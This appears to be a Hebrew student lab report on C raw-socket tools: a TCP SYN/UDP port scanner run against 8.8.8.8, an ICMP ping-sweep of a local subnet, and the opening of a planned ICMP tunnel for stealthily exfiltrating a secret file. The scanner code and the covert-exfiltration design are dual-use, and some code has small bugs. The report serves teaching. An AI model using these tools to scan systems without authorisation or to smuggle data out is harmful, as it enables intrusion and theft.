79             if (recv_tcp->syn == 1 && recv_tcp->ack == 1) {
80                 printf("Port %d: Open\n", ntohs(recv_tcp->source));
81             }
82         }
83     }
84     return NULL;
85 }

```

:scan_udp

הפונקציה `scan_udp` פועלת בצורה שונה בשל אופיו של פרוטוקול UDP, שאינו מבוסס חיבור (Connectionless). כאן נדרשים שני Sockets נפרדים: אחד לשליחת חבילות ה-UDP ואחר (מסוג ICMP) להאזנה לשגיאות. הלוגיקה מתבססת על דרך השליחה: התוכנית שולחת חבילת UDP ריקה לפורט היעד. אם הפורט סגור, השרת אמור להחזיר הודעת שגיאה מסוג Code 3, (ICMP Port Unreachable Type 3). אם מתקבלת הודעה כזו, אנו יודעים שהפורט סגור. אם לא מתקבלת שום תשובה לאחר זמן ההמתנה, או שמתקבלת תשובת UDP חזרה, ניתן להסיק שהפורט פתוח (או מסונן על ידי Firewall, תלוי במדיניות). במקרה שהפורט פתוח נקבל תשובת UDP. בדומה ל TCP נשלח לכל פורט לפי הסדר בכתובת היעד הודעת UDP ריקה ובמקביל נאזין להודעות UDP שנשלחות חזרה.

:listen_udp_responses

מאזינה להודעות UDP, אם הודעה מתקבלת, סימן שהפורט פתוח ולכן נדפיס את הפורט.

```
191 void* scan_udp(void* arg) {
192     struct scan_config* config = (struct scan_config*)arg;
193     int sock_send = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
194     int sock_icmp = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
195     const char* dest_ip_str = config->ip;
196     int start_port = MIN_PORT;
197     int end_port = MAX_PORT;
198
199     int on = 1;
200     if (setsockopt(sock_send, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
201         perror("setsockopt IP_HDRINCL");
202         close(sock_send);
203         close(sock_icmp);
204         return NULL;
205     }
206
207     struct sockaddr_in dest;
208     memset(&dest, 0, sizeof(dest));
209     dest.sin_family = AF_INET;
210     dest.sin_addr.s_addr = inet_addr(dest_ip_str);
211
212     uint32_t src_ip = get_local_ip();
213
214     printf("Starting UDP Scan on %s...\n", dest_ip_str);
215
216     for (int port = start_port; port <= end_port; port++) {
217         char packet[4096];
218         memset(packet, 0, sizeof(packet));
219
220         struct iphdr *iph = (struct iphdr *)packet;
221         struct udphdr *udph = (struct udphdr *)(packet + sizeof(struct iphdr));
222
223         iph->ihl = 5;
224         iph->version = 4;
225         iph->tos = 0;
226         iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr));
227         iph->id = 0;
228         iph->frag_off = 0;
229         iph->ttl = 64;
230         iph->protocol = IPPROTO_UDP;
231         iph->saddr = src_ip;
232         iph->daddr = dest.sin_addr.s_addr;
233         iph->check = 0;
234         iph->check = checksum((unsigned short *)iph, sizeof(struct iphdr));
235
236         udph->source = htons(12345);
237         udph->dest = htons(port);
238         udph->len = htons(sizeof(struct udphdr));
239         udph->check = 0; // IPv4 UDP checksum 0 יכול להיות
```

```

235 udph->source = htons(12345);
236 udph->dest   = htons(port);
237 udph->len     = htons(sizeof(struct udphdr));
238 udph->check   = 0; // IPv4 UDP checksum 0 יכול להיות
239
240
241 if (sendto(sock_send, packet, sizeof(struct iphdr) + sizeof(struct udphdr),
242           0, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
243     perror("sendto failed");
244     if(errno == EPERM) {
245         printf("Run the program with sudo/root privileges.\n");
246         close(sock_send);
247         close(sock_icmp);
248         return NULL;
249     }
250     if(errno == ENOBUFS) {
251         usleep(SLEEP_USEC*2); // לחכות מעט ולנסות שוב
252         port--; // לנסות את אותו הפורט שוב
253         continue;
254     }
255     if(errno == EHOSTUNREACH) {
256         printf("Host unreachable. Stopping scan.\n");
257         break;
258     }
259 }
260 (void)sendto(sock_send, packet, sizeof(struct iphdr) + sizeof(struct udphdr),
261             0, (struct sockaddr *)&dest, sizeof(dest));
262
263     usleep(SLEEP_USEC); //to avoid flooding the network wait for 5 milliseconds
264 }
265
266 close(sock_send);
267 close(sock_icmp);
268 return NULL;
269 }

```

```

86 void* listen_udp_responses(void* arg) {
87     struct scan_config* config = (struct scan_config*)arg;
88     int udp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
89     unsigned char buf[1024];
90
91     while (1) {
92         struct sockaddr_in from;
93         socklen_t fromlen = sizeof(from);
94         int bytes = recvfrom(udp_sock, buf, sizeof(buf), 0, (struct sockaddr *)&from, &fromlen);
95
96         if (bytes < 0) continue;
97
98         struct iphdr *iph = (struct iphdr *)buf;
99         // שסרקנו IP-בדיקה שהתגובה מגיעה מה
100         if (iph->saddr != inet_addr(config->ip)) continue;
101
102         struct udphdr *udph = (struct udphdr *) (buf + (iph->ihl * 4));
103
104         // אם היעד שלו מבילה חזרה לפורט המקור שלנו (12345)
105         if (ntohs(udph->dest) == 12345) {
106             int open_port = ntohs(udph->source); // פורט שסרקנו ביעד
107             if (open_port >= 0 && open_port < MAX_PORT) {
108                 printf("Port %d: Open (UDP Response)\n", open_port);
109             }
110         }
111     }
112     return NULL;
113 }

```

main():

משמשת כנקודת הכניסה ומנהלת את הלוגיקה הגבוהה. היא אחראית על עיבוד הפרמטרים משורת הפקודה (כתובת היעד וסוג הסריקה - TCP או UDP) ועל הפעלת פונקציית הסריקה המתאימה בטווח הפורטים המלא (1 עד 65535). היא מפעילה שני תהליכים שונים במקביל, סריקת הפורטים והאזנה לתשובות. מבנה זה מאפשר גמישות והרחבה עתידית של הכלי לסוגי סריקות נוספים.

```
271 int main(int argc, char *argv[]) {
272     if (argc != 5) {
273         printf("Usage: sudo %s -a <ip> -t <type>\n", argv[0]);
274         return 1;
275     }
276
277     char *ip = argv[2];
278     char *type = argv[4];
279
280
281
282     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
283     if (sockfd < 0) {
284         perror("Socket creation failed");
285         exit(1);
286     }
287     struct scan_config config = {ip, sockfd, get_local_ip()};
288     int on = 1;
289     if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
290         perror("Error setting IP_HDRINCL");
291         exit(1);
292     }
293     pthread_t send_thread, recv_thread;
294     if (strcmp(type, "TCP") == 0) {
295
296         pthread_create(&recv_thread, NULL, listen_tcp_responses, &config);
297         pthread_create(&send_thread, NULL, scan_tcp, &config);
298     } else if (strcmp(type, "UDP") == 0) {
299         pthread_create(&recv_thread, NULL, listen_udp_responses, &config);
300         pthread_create(&send_thread, NULL, scan_udp, &config);
301     } else {
302         printf("Invalid type. Use TCP or UDP.\n");
303     }
304
305     pthread_join(send_thread, NULL);
306     printf("Waiting for final responses...\n");
307     sleep(2);
308     pthread_cancel(recv_thread);
309     close(sockfd);
310     return 0;
311 }
```

הרצה:

נסה למצוא את כל הפורטים הפתוחים בכתובת 8.8.8.8 בפרוטוקול TCP
נריץ את הפקודה - `sudo ./port_scanning -a 8.8.8.8 -t TCP` ונקבל את הפלט הבא:

```
yoavnach@yoavnach-VirtualBox:~/dev/Assignment_4$ sudo ./port_scanning2 -a 8.8.8.8 -t TCP
Starting TCP Scan on 8.8.8.8...
Port 21: Open
Port 53: Open
Port 443: Open
Port 853: Open
Port 1723: Open
Port 5060: Open
Waiting for final responses...
```

מצאנו שהפורטים: 21, 53, 443, 853, 1723, 5060 פתוחים.

הקלטת wireshark

נריץ wireshark עם הסינון `ip.addr == 8.8.8.8 && tcp` ונקבל:

No.	Time	Source	Destination	Protocol	Length	Info
24	8.793588014	10.0.0.11	8.8.8.8	TCP	54	12345 → 1 [SYN] Seq=0 Win=5840 Len=0
25	8.715568106	10.0.0.11	8.8.8.8	TCP	54	12345 → 2 [SYN] Seq=0 Win=5840 Len=0
26	8.721575487	10.0.0.11	8.8.8.8	TCP	54	12345 → 3 [SYN] Seq=0 Win=5840 Len=0
27	8.734879452	10.0.0.11	8.8.8.8	TCP	54	12345 → 4 [SYN] Seq=0 Win=5840 Len=0
28	8.747172475	10.0.0.11	8.8.8.8	TCP	54	12345 → 5 [SYN] Seq=0 Win=5840 Len=0
29	8.757386962	10.0.0.11	8.8.8.8	TCP	54	12345 → 6 [SYN] Seq=0 Win=5840 Len=0
30	8.765018460	10.0.0.11	8.8.8.8	TCP	54	12345 → 7 [SYN] Seq=0 Win=5840 Len=0
31	8.775599439	10.0.0.11	8.8.8.8	TCP	54	12345 → 8 [SYN] Seq=0 Win=5840 Len=0
32	8.783089538	10.0.0.11	8.8.8.8	TCP	54	12345 → 9 [SYN] Seq=0 Win=5840 Len=0
33	8.788637710	10.0.0.11	8.8.8.8	TCP	54	12345 → 10 [SYN] Seq=0 Win=5840 Len=0
34	8.794481713	10.0.0.11	8.8.8.8	TCP	54	12345 → 11 [SYN] Seq=0 Win=5840 Len=0
35	8.801870372	10.0.0.11	8.8.8.8	TCP	54	12345 → 12 [SYN] Seq=0 Win=5840 Len=0
36	8.808207558	10.0.0.11	8.8.8.8	TCP	54	12345 → 13 [SYN] Seq=0 Win=5840 Len=0
37	8.814234889	10.0.0.11	8.8.8.8	TCP	54	12345 → 14 [SYN] Seq=0 Win=5840 Len=0
38	8.820805286	10.0.0.11	8.8.8.8	TCP	54	12345 → 15 [SYN] Seq=0 Win=5840 Len=0
39	8.834222335	10.0.0.11	8.8.8.8	TCP	54	12345 → 16 [SYN] Seq=0 Win=5840 Len=0
40	8.840293761	10.0.0.11	8.8.8.8	TCP	54	12345 → 17 [SYN] Seq=0 Win=5840 Len=0
41	8.850763696	10.0.0.11	8.8.8.8	TCP	54	12345 → 18 [SYN] Seq=0 Win=5840 Len=0
42	8.856735793	10.0.0.11	8.8.8.8	TCP	54	12345 → 19 [SYN] Seq=0 Win=5840 Len=0
43	8.865329618	10.0.0.11	8.8.8.8	TCP	54	12345 → 20 [SYN] Seq=0 Win=5840 Len=0
44	8.871096580	10.0.0.11	8.8.8.8	TCP	54	12345 → 21 [SYN] Seq=0 Win=5840 Len=0
45	8.875547747	10.0.0.11	8.8.8.8	TCP	60	21 → 12345 [SYN, ACK] Seq=0 Ack=1 Win=1608 Len=0 MSS=1411
46	8.875597986	10.0.0.11	8.8.8.8	TCP	54	12345 → 21 [RST] Seq=1 Win=0 Len=0
47	8.876299269	10.0.0.11	8.8.8.8	TCP	54	12345 → 22 [SYN] Seq=0 Win=5840 Len=0
48	8.882083275	10.0.0.11	8.8.8.8	TCP	54	12345 → 23 [SYN] Seq=0 Win=5840 Len=0
49	8.892523756	10.0.0.11	8.8.8.8	TCP	54	12345 → 24 [SYN] Seq=0 Win=5840 Len=0
50	8.902729408	10.0.0.11	8.8.8.8	TCP	54	12345 → 25 [SYN] Seq=0 Win=5840 Len=0
51	8.908998317	10.0.0.11	8.8.8.8	TCP	54	12345 → 26 [SYN] Seq=0 Win=5840 Len=0
52	8.919244551	10.0.0.11	8.8.8.8	TCP	54	12345 → 27 [SYN] Seq=0 Win=5840 Len=0
53	8.927860013	10.0.0.11	8.8.8.8	TCP	54	12345 → 28 [SYN] Seq=0 Win=5840 Len=0
54	8.935495089	10.0.0.11	8.8.8.8	TCP	54	12345 → 29 [SYN] Seq=0 Win=5840 Len=0
55	8.949490837	10.0.0.11	8.8.8.8	TCP	54	12345 → 30 [SYN] Seq=0 Win=5840 Len=0
56	8.958389399	10.0.0.11	8.8.8.8	TCP	54	12345 → 31 [SYN] Seq=0 Win=5840 Len=0
57	8.968950245	10.0.0.11	8.8.8.8	TCP	54	12345 → 32 [SYN] Seq=0 Win=5840 Len=0
58	8.974756479	10.0.0.11	8.8.8.8	TCP	54	12345 → 33 [SYN] Seq=0 Win=5840 Len=0
59	8.983415344	10.0.0.11	8.8.8.8	TCP	54	12345 → 34 [SYN] Seq=0 Win=5840 Len=0
60	8.989462663	10.0.0.11	8.8.8.8	TCP	54	12345 → 35 [SYN] Seq=0 Win=5840 Len=0
61	8.995808450	10.0.0.11	8.8.8.8	TCP	54	12345 → 36 [SYN] Seq=0 Win=5840 Len=0
62	9.014619918	10.0.0.11	8.8.8.8	TCP	54	12345 → 37 [SYN] Seq=0 Win=5840 Len=0

רואים ששולחים לכל פורט, אחד אחרי השני, SYN. כאשר מוחזר SYN/ACK נחזיר RST ונדפיס שהפורט פתוח.

44	8.871096580	10.0.0.11	8.8.8.8	TCP	54	12345 → 21 [SYN] Seq=0 Win=5840 Len=0
45	8.875547747	10.0.0.11	8.8.8.8	TCP	60	21 → 12345 [SYN, ACK] Seq=0 Ack=1 Win=1608 Len=0 MSS=1411
46	8.875597986	10.0.0.11	8.8.8.8	TCP	54	12345 → 21 [RST] Seq=1 Win=0 Len=0

שלחנו לפורט 21 SYN, קיבלנו SYN/ACK כלומר פורט 21 פתוח והחזרנו RST על מנת לסגור את הקשר.

הקלטת wireshark נשמרה בשם `port_scanning_tcp.pcap`

נסה למצוא את כל הפורטים הפתוחים בכתובת 8.8.8.8 בפרוטוקול UDP
נריץ את הפקודה - `sudo ./port_scanning -a 8.8.8.8 -t UDP` ונקבל את הפלט הבא:

```
yoavnach@yoavnach-VirtualBox:~/dev/Assignment_4$ sudo ./port_scanning2 -a 8.8.8.8 -t UDP
Starting UDP Scan on 8.8.8.8...
Waiting for final responses...
```

הפלט אומר לנו שאין פורטים פתוחים בפרוטוקול UDP בכתובת 8.8.8.8 למה זה מה שרואים?
רוב שירותי UDP לא מחזירים תשובה לחבילה "ירקה", גם אם פורט UDP "פתוח" (כלומר שירות מאזין),
הרבה שירותים לא יענו אם לא שלחת payload תקין.

הקלטת wireshark:

נריץ wireshark עם הסינון ip.addr == 8.8.8.8 && udp ונקבל:

No.	Time	Source	Destination	Protocol	Length	Info
11	2.689974896	10.0.0.11	8.8.8.8	UDP	42	12345 → 1 Len=0
12	2.704575708	10.0.0.11	8.8.8.8	UDP	42	12345 → 2 Len=0
13	2.715040073	10.0.0.11	8.8.8.8	UDP	42	12345 → 3 Len=0
14	2.723296848	10.0.0.11	8.8.8.8	UDP	42	12345 → 4 Len=0
15	2.728824982	10.0.0.11	8.8.8.8	UDP	42	12345 → 5 Len=0
16	2.734869723	10.0.0.11	8.8.8.8	UDP	42	12345 → 6 Len=0
17	2.740761755	10.0.0.11	8.8.8.8	UDP	42	12345 → 7 Len=0
18	2.746342520	10.0.0.11	8.8.8.8	UDP	42	12345 → 8 Len=0
19	2.752824106	10.0.0.11	8.8.8.8	UDP	42	12345 → 9 Len=0
20	2.758753399	10.0.0.11	8.8.8.8	UDP	42	12345 → 10 Len=0
21	2.765734211	10.0.0.11	8.8.8.8	UDP	42	12345 → 11 Len=0
22	2.771765741	10.0.0.11	8.8.8.8	UDP	42	12345 → 12 Len=0
23	2.777860168	10.0.0.11	8.8.8.8	UDP	42	12345 → 13 Len=0
24	2.783800619	10.0.0.11	8.8.8.8	UDP	42	12345 → 14 Len=0
25	2.793968471	10.0.0.11	8.8.8.8	UDP	42	12345 → 15 Len=0
26	2.799610702	10.0.0.11	8.8.8.8	UDP	42	12345 → 16 Len=0
27	2.807594491	10.0.0.11	8.8.8.8	UDP	42	12345 → 17 Len=0
28	2.814706026	10.0.0.11	8.8.8.8	UDP	42	12345 → 18 Len=0
29	2.820765749	10.0.0.11	8.8.8.8	UDP	42	12345 → 19 Len=0
30	2.828732174	10.0.0.11	8.8.8.8	UDP	42	12345 → 20 Len=0
31	2.834581157	10.0.0.11	8.8.8.8	UDP	42	12345 → 21 Len=0
32	2.840326582	10.0.0.11	8.8.8.8	UDP	42	12345 → 22 Len=0
33	2.846747235	10.0.0.11	8.8.8.8	UDP	42	12345 → 23 Len=0
34	2.852191287	10.0.0.11	8.8.8.8	UDP	42	12345 → 24 Len=0
35	2.860030110	10.0.0.11	8.8.8.8	UDP	42	12345 → 25 Len=0
36	2.865586915	10.0.0.11	8.8.8.8	UDP	42	12345 → 26 Len=0
37	2.871468793	10.0.0.11	8.8.8.8	UDP	42	12345 → 27 Len=0
38	2.877271466	10.0.0.11	8.8.8.8	UDP	42	12345 → 28 Len=0
39	2.883229073	10.0.0.11	8.8.8.8	UDP	42	12345 → 29 Len=0
40	2.892432721	10.0.0.11	8.8.8.8	UDP	42	12345 → 30 Len=0
41	2.897817375	10.0.0.11	8.8.8.8	UDP	42	12345 → 31 Len=0
42	2.903111683	10.0.0.11	8.8.8.8	UDP	42	12345 → 32 Len=0
43	2.908536265	10.0.0.11	8.8.8.8	UDP	42	12345 → 33 Len=0
44	2.914646330	10.0.0.11	8.8.8.8	UDP	42	12345 → 34 Len=0
45	2.920624387	10.0.0.11	8.8.8.8	UDP	42	12345 → 35 Len=0
46	2.926601955	10.0.0.11	8.8.8.8	UDP	42	12345 → 36 Len=0
47	2.931991492	10.0.0.11	8.8.8.8	UDP	42	12345 → 37 Len=0
48	2.939659743	10.0.0.11	8.8.8.8	UDP	42	12345 → 38 Len=0
49	2.945460290	10.0.0.11	8.8.8.8	UDP	42	12345 → 39 Len=0

ניתן לראות שאנחנו שולחים לכל פורט לפי הסדר הודעת UDP במידה והייתה תשובה היינו רואים הודעת UDP מהכתובת בפורט הפתוח.

הקלטת wireshark נשמרה בשם port_scanning_udp.pcap

discovery.c

נממש כלי למיפוי רשת. מטרת הכלי היא לקבל כתובת רשת ומידע על גודל הרשת (בפורמט CIDR), ולסרוק את כל הכתובות בטווח כדי לזהות מכשירים פעילים.

struct packet

המבנה הזה מכיל בתוכו את כותרת ה-struct icmp_hdr (ICMP) ואת המקום למידע עצמו (Payload). הסיבה שהשתמשתי במבנה הזה היא שכאשר עובדים עם Raw Sockets, חייבים לשלוח את המידע כבלוק זיכרון אחד רציף. המבנה עוזר לי לארוז את הכותרת והמידע יחד בצורה מסודרת בזיכרון, כדי שהשליחה תתבצע בצורה תקינה.

checksum

אותו הדבר כמו בחלקים הקודמים.

```
#define PACKET_SIZE 64
#define TIMEOUT_MS 100 // Short timeout for speed

struct packet {
    struct icmp_hdr hdr;
    char msg[PACKET_SIZE - sizeof(struct icmp_hdr)];
};

unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}
```

main

התוכנית מקבלת מהמשתמש כתובת IP ומסיכת רשת (CIDR). כדי לדעת בדיוק אילו כתובות לסרוק, ביצעתי חישובים בעזרת פעולות על ביטים (Bitwise Operations). בעזרת המסיכה, הקוד מחלץ את כתובת ההתחלה ואת כתובת הסיום של הרשת. החישוב הזה מבטיח שהלולאה תרוץ בדיוק על הכתובות הרלוונטיות בתוך תת-הרשת (Subnet) ולא תזלוג לכתובות אחרות. התוכנית רצה בלולאה על כל הכתובות בטווח שחישבתי, ועבור כל כתובת היא שולחת חבילת ECHO_REQUEST. בבניית החבילה, קבעתי מזהה (ID) קבוע עם הערך 1234, כדי שאוכל לזהות אחר כך שהתשובות שמגיעות הן אכן תגובה לסריקה שלי. בנוסף, השתמשתי בשדה ה-Sequence כדי לשמור בו חלק מכתובת ה-IP שאליה שלחתי, מה שמשמש כעוד אמצעי זיהוי וסנכרון מול התשובות. כדי שהסריקה תהיה מהירה ולא תיתקע, השתמשתי בפונקציה poll עם זמן המתנה (Timeout) קצר מאוד של 100 מילי-שניות. ההנחה היא שברשת מקומית, מכשירים פעילים יגיבו כמעט מיד. אם מתקבל מידע בזמן הזה, אני קורא את החבילה ובודק אותה: אני מוודא שזה ECHO_REPLY ושםספר ה-ID הוא 1234. רק אם התנאים האלה מתקיימים, אני מסיק שהמכשיר פעיל ומדפיס את הכתובת שלו למסך.

```

int main(int argc, char *argv[]) {
    if (argc != 5) {
        printf("Usage: sudo %s -a <ip> -c <subnet_cidr>\n", argv[0]);
        return 1;
    }

    char *network_ip_str = NULL;
    int cidr = -1;

    // Parse arguments manually to support -a and -c order
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "-a") == 0 && i + 1 < argc) {
            network_ip_str = argv[i + 1];
        } else if (strcmp(argv[i], "-c") == 0 && i + 1 < argc) {
            cidr = atoi(argv[i + 1]);
        }
    }

    if (!network_ip_str || cidr == -1) {
        printf("Missing arguments.\n");
        return 1;
    }

    // Calculate Network Range
    uint32_t ip_bin = ntohl(inet_addr(network_ip_str));
    uint32_t mask = (0xFFFFFFFF << (32 - cidr));
    uint32_t start_ip = (ip_bin & mask) + 1; // First usable IP
    uint32_t end_ip = (ip_bin | ~mask) - 1; // Last usable IP

    // Correction for scanning the *whole* subnet including .0 if desired,
    // but usually we scan usable hosts. Let's stick to usability.

    printf("Scanning %s/%d:\n", network_ip_str, cidr);

    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sockfd < 0) {
        perror("Socket failed");
        return 1;
    }

    struct sockaddr_in dest_addr;
    memset(&dest_addr, 0, sizeof(dest_addr));
    dest_addr.sin_family = AF_INET;

    // Loop through all IPs
    for (uint32_t current = start_ip; current <= end_ip; current++) {
        struct in_addr current_in;
        current_in.s_addr = htonl(current);
        dest_addr.sin_addr = current_in;

        // Prepare Packet
        struct packet pkt;
        memset(&pkt, 0, sizeof(pkt));
        pkt.hdr.type = ICMP_ECHO;
        pkt.hdr.code = 0;
        pkt.hdr.un.echo.id = htons(1234);

        pkt.hdr.un.echo.sequence = htons(current & 0xFFFF); // Use IP part as seq
        pkt.hdr.checksum = checksum(&pkt, sizeof(pkt));

        // Send
        if (sendto(sockfd, &pkt, sizeof(pkt), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) <= 0)
            continue;

        // Wait for reply
        struct pollfd pfd;
        pfd.fd = sockfd;
        pfd.events = POLLIN;

        if (poll(&pfd, 1, TIMEOUT_MS) > 0) {
            unsigned char buf[1024];
            struct sockaddr_in r_addr;
            socklen_t len = sizeof(r_addr);
            int bytes = recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr *)&r_addr, &len);

            if (bytes > 0) {
                struct iphdr *ip = (struct iphdr *)buf;
                int iphdr_len = ip->ihl * 4;
                struct icmphdr *icmp = (struct icmphdr *)(&buf + iphdr_len);

                // Check if it's a reply to our ping
                if (icmp->type == ICMP_ECHOREPLY && icmp->un.echo.id == htons(1234)) {
                    // Check if the reply comes from the IP we just pinged
                    if (r_addr.sin_addr.s_addr == current_in.s_addr) {
                        printf("%s\n", inet_ntoa(current_in));
                    }
                }
            }
        }
    }

    printf("Scan Complete!\n");
    close(sockfd);
    return 0;
}

```

הרצה:

```
ariely122@Ubuntu:/media/sf_Assignment_4$ sudo ./discovery -a 10.0.0.0 -c 24
[sudo] password for ariely122:
Scanning 10.0.0.0/24:
10.0.0.1
10.0.0.3
10.0.0.4
10.0.0.5
10.0.0.10
10.0.0.11
10.0.0.12
10.0.0.13
10.0.0.15
10.0.0.16
10.0.0.22
10.0.0.23
10.0.0.24
10.0.0.25
10.0.0.26
10.0.0.99
10.0.0.138
Scan Complete!
ariely122@Ubuntu:/media/sf_Assignment_4$
```

הרצה בwireshark:

	Info	Length	Protocol	Destination	Source	Time	.No
Echo (ping) request	id=0x04d2, seq=1/256, ttl=64 (reply in 179)	98	ICMP	10.0.0.1	10.0.0.19	0.176	
Echo (ping) reply	id=0x04d2, seq=1/256, ttl=255 (request in 176)	98	ICMP	10.0.0.19	10.0.0.1	0.479	
Echo (ping) request	id=0x04d2, seq=2/512, ttl=64 (reply in 183)	98	ICMP	10.0.0.2	10.0.0.19	0.182	
Echo (ping) reply	id=0x04d2, seq=2/512, ttl=64 (request in 182)	98	ICMP	10.0.0.19	10.0.0.2	0.183	
Echo (ping) request	id=0x04d2, seq=3/768, ttl=64 (reply in 185)	98	ICMP	10.0.0.3	10.0.0.19	0.184	
Echo (ping) reply	id=0x04d2, seq=3/768, ttl=64 (request in 184)	98	ICMP	10.0.0.19	10.0.0.3	0.185	
Echo (ping) request	id=0x04d2, seq=4/1024, ttl=64 (reply in 187)	98	ICMP	10.0.0.4	10.0.0.19	0.186	
Echo (ping) reply	id=0x04d2, seq=4/1024, ttl=64 (request in 186)	98	ICMP	10.0.0.19	10.0.0.4	0.187	
Echo (ping) request	id=0x04d2, seq=5/1280, ttl=64 (reply in 189)	98	ICMP	10.0.0.5	10.0.0.19	0.188	
Echo (ping) reply	id=0x04d2, seq=5/1280, ttl=64 (request in 188)	98	ICMP	10.0.0.19	10.0.0.5	0.189	
Echo (ping) request	id=0x04d2, seq=6/1536, ttl=64 (reply in 222)	98	ICMP	10.0.0.6	10.0.0.19	0.193	
Echo (ping) request	id=0x04d2, seq=7/1792, ttl=64 (no response found!)	98	ICMP	10.0.0.7	10.0.0.19	0.194	
Echo (ping) request	id=0x04d2, seq=8/2048, ttl=64 (no response found!)	98	ICMP	10.0.0.8	10.0.0.19	0.196	
Echo (ping) request	id=0x04d2, seq=9/2304, ttl=64 (no response found!)	98	ICMP	10.0.0.9	10.0.0.19	0.199	
Echo (ping) request	id=0x04d2, seq=10/2560, ttl=64 (reply in 203)	98	ICMP	10.0.0.10	10.0.0.19	0.200	
Echo (ping) reply	id=0x04d2, seq=10/2560, ttl=255 (request in 200)	98	ICMP	10.0.0.19	10.0.0.10	0.203	
Echo (ping) request	id=0x04d2, seq=11/2816, ttl=64 (reply in 205)	98	ICMP	10.0.0.11	10.0.0.19	0.204	
Echo (ping) reply	id=0x04d2, seq=11/2816, ttl=64 (request in 204)	98	ICMP	10.0.0.19	10.0.0.11	0.205	
Echo (ping) request	id=0x04d2, seq=12/3072, ttl=64 (reply in 207)	98	ICMP	10.0.0.12	10.0.0.19	0.206	
Echo (ping) reply	id=0x04d2, seq=12/3072, ttl=64 (request in 206)	98	ICMP	10.0.0.19	10.0.0.12	0.207	
Echo (ping) request	id=0x04d2, seq=13/3328, ttl=64 (reply in 209)	98	ICMP	10.0.0.13	10.0.0.19	0.208	
Echo (ping) reply	id=0x04d2, seq=13/3328, ttl=64 (request in 208)	98	ICMP	10.0.0.19	10.0.0.13	0.209	
Echo (ping) request	id=0x04d2, seq=15/3840, ttl=64 (reply in 215)	98	ICMP	10.0.0.15	10.0.0.19	0.214	
Echo (ping) reply	id=0x04d2, seq=15/3840, ttl=64 (request in 214)	98	ICMP	10.0.0.19	10.0.0.15	0.215	
Echo (ping) request	id=0x04d2, seq=16/4096, ttl=64 (reply in 220)	98	ICMP	10.0.0.16	10.0.0.19	0.216	
Echo (ping) reply	id=0x04d2, seq=16/4096, ttl=64 (request in 216)	98	ICMP	10.0.0.19	10.0.0.16	0.220	
Echo (ping) reply	id=0x04d2, seq=6/1536, ttl=64 (request in 193)	98	ICMP	10.0.0.19	10.0.0.6	0.222	
Echo (ping) request	id=0x04d2, seq=22/5632, ttl=64 (reply in 228)	98	ICMP	10.0.0.22	10.0.0.19	0.227	
Echo (ping) reply	id=0x04d2, seq=22/5632, ttl=64 (request in 227)	98	ICMP	10.0.0.19	10.0.0.22	0.228	
Echo (ping) request	id=0x04d2, seq=23/5888, ttl=64 (reply in 230)	98	ICMP	10.0.0.23	10.0.0.19	0.229	
Echo (ping) reply	id=0x04d2, seq=23/5888, ttl=64 (request in 229)	98	ICMP	10.0.0.19	10.0.0.23	0.230	
Echo (ping) request	id=0x04d2, seq=24/6144, ttl=64 (reply in 232)	98	ICMP	10.0.0.24	10.0.0.19	0.231	
Echo (ping) reply	id=0x04d2, seq=24/6144, ttl=64 (request in 231)	98	ICMP	10.0.0.19	10.0.0.24	0.232	
Echo (ping) request	id=0x04d2, seq=25/6400, ttl=64 (reply in 234)	98	ICMP	10.0.0.25	10.0.0.19	0.233	
Echo (ping) reply	id=0x04d2, seq=25/6400, ttl=64 (request in 233)	98	ICMP	10.0.0.19	10.0.0.25	0.234	
Echo (ping) request	id=0x04d2, seq=26/6656, ttl=64 (reply in 236)	98	ICMP	10.0.0.26	10.0.0.19	0.235	
Echo (ping) reply	id=0x04d2, seq=26/6656, ttl=64 (request in 235)	98	ICMP	10.0.0.19	10.0.0.26	0.236	
Echo (ping) request	id=0x04d2, seq=29/7424, ttl=64 (no response found!)	98	ICMP	10.0.0.29	10.0.0.19	0.245	
Echo (ping) request	id=0x04d2, seq=99/25344, ttl=64 (reply in 597)	98	ICMP	10.0.0.99	10.0.0.19	5.596	
Echo (ping) reply	id=0x04d2, seq=99/25344, ttl=255 (request in 596)	98	ICMP	10.0.0.19	10.0.0.99	0.597	
Echo (ping) request	id=0x04d2, seq=138/35328, ttl=64 (reply in 742)	98	ICMP	10.0.0.138	10.0.0.19	1.741	
Echo (ping) reply	id=0x04d2, seq=138/35328, ttl=64 (request in 741)	98	ICMP	10.0.0.19	10.0.0.138	0.742	

המון בקשות ותשובות.. כל מי שקיים ברשת הגיב. נשמר בקובץ discovery_pcap

tunnle.c

המטרה שלי הייתה לדמות תרחיש של גניבת מידע שבו תוקף שולח מידע רגיש מתוך המחשב החוצה, כשהוא מוסווה בתוך תעבורת פינג. בתחילת התוכנית, אני פותח לקריאה את הקובץ secret.txt שמכיל את המידע שאני רוצה להבריח. אם הקובץ לא קיים או שיש שגיאה בפתיחה, התוכנית מסיימת מיד בצורה שקטה, כדי לא להסגיר את קיום התוכנה.

checksum

זהה לקבצים הקודמים.

main

בשלב האתחול, התוכנית מבצעת ניסיון גישה לקובץ הקלט (secret.txt) המכיל את הנתונים המיועדים לשידור. במידה והקובץ אינו נגיש, התוכנית מסיימת את ריצתה באופן מיידי וללא פלט, בהתאם לדרישת ה"ריצה ברקע". לאחר מכן, מוקצת Raw Socket לפרוטוקול ICMP. סוג זה של Socket חיוני למשימה, שכן הוא מאפשר לעקוף את מנגנוני ה-TCP/UDP הרגילים ולשלוח ישירות במבנה חבילת ה-ICMP.

